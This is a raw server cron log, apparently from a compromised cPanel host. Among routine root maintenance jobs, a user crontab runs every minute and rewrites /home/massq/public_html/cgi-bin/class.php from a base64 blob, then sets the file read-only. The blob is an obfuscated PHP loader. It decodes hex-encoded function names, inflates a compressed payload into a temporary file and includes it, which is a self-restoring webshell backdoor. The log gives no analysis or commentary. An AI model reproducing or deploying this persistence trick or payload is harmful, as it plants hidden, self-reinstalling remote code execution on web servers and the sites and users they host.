Nov 13 16:28:01 server CROND[13864]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:29:01 server CROND[14718]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:30:01 server CROND[15589]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 16:30:01 server CROND[15595]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:30:01 server CROND[15592]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:30:01 server CROND[15596]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache &amp;&amp; /usr/local/cpanel/scripts/update_db_cache)
Nov 13 16:30:01 server CROND[15593]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:31:01 server CROND[16607]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:32:01 server CROND[17401]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:33:01 server CROND[18268]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:34:01 server CROND[19143]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:35:01 server CROND[19764]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 16:35:01 server CROND[19765]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:35:01 server CROND[19767]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 16:35:01 server CROND[19766]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:35:01 server CROND[19769]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:36:01 server CROND[20562]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:37:01 server CROND[21432]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:38:01 server CROND[22284]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:39:01 server CROND[23136]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 16:39:01 server CROND[23137]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:40:01 server CROND[23920]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 16:40:01 server CROND[23922]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 16:40:01 server CROND[23921]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 16:40:01 server CROND[23923]: (root) CMD (/usr/lib64/sa/sa1 1 1)
